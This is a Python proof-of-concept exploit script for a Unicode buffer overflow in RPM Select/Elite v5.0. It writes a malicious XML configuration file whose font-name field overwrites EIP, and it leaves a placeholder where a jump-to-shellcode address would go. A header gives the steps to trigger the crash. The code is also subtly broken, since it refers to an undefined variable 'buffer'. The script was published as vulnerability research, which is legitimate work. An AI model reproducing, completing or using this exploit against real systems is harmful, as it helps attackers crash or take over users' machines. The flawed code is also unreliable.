#!/usr/bin/python
# ####################################################################
# RPM Select/Elite v5.0 (.xml config parsing) unicode buffer overflow PoC
# Found by: mr_me - http://net-ninja.net/
# Homepage: http://lpd.brooksnet.com/
# Download: http://www.brooksnet.com/download-rpmselect
# Tested on: Windows XP SP3
# Advisory: http://www.corelan.be:8800/advisories.php?id=10-024
# Greetz: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# ####################################################################
# Notes: We overwrite EIP @ 32 bytes in, and the function doesnt copy 
# enough of our string to hit SEH. However modules are compiled with 
# SAFESEH anyway. Combine that with unicode and the printable ascii 
# limitations, we are presented with to much of a hurdle.
# ####################################################################
# How to trigger the crash:
# file -> import configuration
# Click on the queue name, then click on the imported transform
# Click 'modify transform' and b00m!
# ####################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes.
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages.

header1 = """<RPM version="5.0.70.6">
  <Queues>
    <Queue>
      <description>lol</description>
      <seqno>0</seqno>
      <enabled>1</enabled>
      <actions>1</actions>
      <held>0</held>
      <running>0</running>
      <name>mr_mes print queue</name>
      <Transforms>
        <Transform>
          <LineWrap>0</LineWrap>
          <lfPitchAndFamily>48</lfPitchAndFamily>
          <lfOrientation>0</lfOrientation>
          <lfFaceName>
"""

header2 = """</lfFaceName>
		  <lfWidth>0</lfWidth>
          <UseCharsPerInch>0</UseCharsPerInch>
          <lfItalic>0</lfItalic>
          <UseLinesPerPage>0</UseLinesPerPage>
          <lfEscapement>0</lfEscapement>
          <LinesPerInch>6.000000</LinesPerInch>
          <type>24</type>
          <LeftMargin>0.500000</LeftMargin>
          <PortraitMax>90</PortraitMax>
          <CharsPerInch>10.000000</CharsPerInch>
          <CharsPerLine>80</CharsPerLine>
          <TopMargin>0.500000</TopMargin>
          <LinesPerPage>60</LinesPerPage>
          <lfQuality>2</lfQuality>
          <lfStrikeOut>0</lfStrikeOut>
          <lfWeight>400</lfWeight>
          <FontSize>12</FontSize>
          <lfUnderline>0</lfUnderline>
          <BottomMargin>0.500000</BottomMargin>
          <Orientation>portrait</Orientation>
          <InputFormat>1252</InputFormat>
          <CalcLayout>false</CalcLayout>
          <UseLinesPerInch>1</UseLinesPerInch>
          <RightMargin>0.500000</RightMargin>
          <CtrlStrip>1</CtrlStrip>
          <UseCharsPerLine>0</UseCharsPerLine>
          <lfCharSet>1</lfCharSet>
          <lfOutPrecision>0</lfOutPrecision>
          <lfClipPrecision>0</lfClipPrecision>
          <SuppressBlankPage>1</SuppressBlankPage>
          <lfHeight>-16</lfHeight>
        </Transform>
      </Transforms>
      <Jobs />
    </Queue>
  </Queues>
  <Hosts />
</RPM>
"""

payload = "\x41" * 32
payload += "\x42\x42" # your "jmp to esp" instruction should go here
payload += "\x44" * (5000-len(buffer))
exploit = header1.rstrip() + payload.rstrip() + header2.rstrip()
try:
	f=open("cst-rpm-config.xml",'w')
	f.write(exploit)
	f.close()
	print "[+] File created successfully !"
except:
	print "[-] Error cannot write xml file to system\n"